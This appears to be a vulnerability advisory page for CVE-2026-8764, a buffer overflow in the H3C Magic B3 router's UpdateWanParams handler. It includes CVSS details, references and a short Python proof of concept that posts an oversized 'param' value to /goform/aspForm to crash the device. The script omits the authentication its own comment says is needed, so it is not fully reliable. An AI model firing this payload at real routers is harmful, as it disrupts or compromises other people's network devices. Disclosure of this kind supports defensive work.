CVE-2026-8764

Description

A security vulnerability has been detected in H3C Magic B3 up to 100R002. This affects the function UpdateWanParams of the file /goform/aspForm. Such manipulation of the argument param leads to buffer overflow. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

H3C Magic B3 <= 100R002

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual IP)
target_url = "http://192.168.1.1/goform/aspForm"

# Malicious payload to trigger buffer overflow
# Adjust length based on specific buffer analysis (e.g., 1000+ bytes)
payload = b"A" * 1000

# Form data including the vulnerable parameter 'param'
data = {
    "param": payload,
    "action": "UpdateWanParams" # Specific function mentioned in CVE
}

# Headers to mimic browser interaction
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}

try:
    # Sending the POST request
    # Note: This exploit requires High Privileges (Admin Auth)
    response = requests.post(target_url, data=data, headers=headers, timeout=5)
    print(f"Response Status: {response.status_code}")
    if response.status_code == 200:
        print("Payload sent successfully. Check device for crash or behavior change.")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8764
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8764
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8764/
[4] VulDB https://vuldb.com/cve/CVE-2026-8764
[5] https://github.com/yyyy0031/CVE/issues/1
[6] https://vuldb.com/submit/811373
[7] https://vuldb.com/vuln/364389
[8] https://vuldb.com/vuln/364389/cti

Raw JSON Data

JSON

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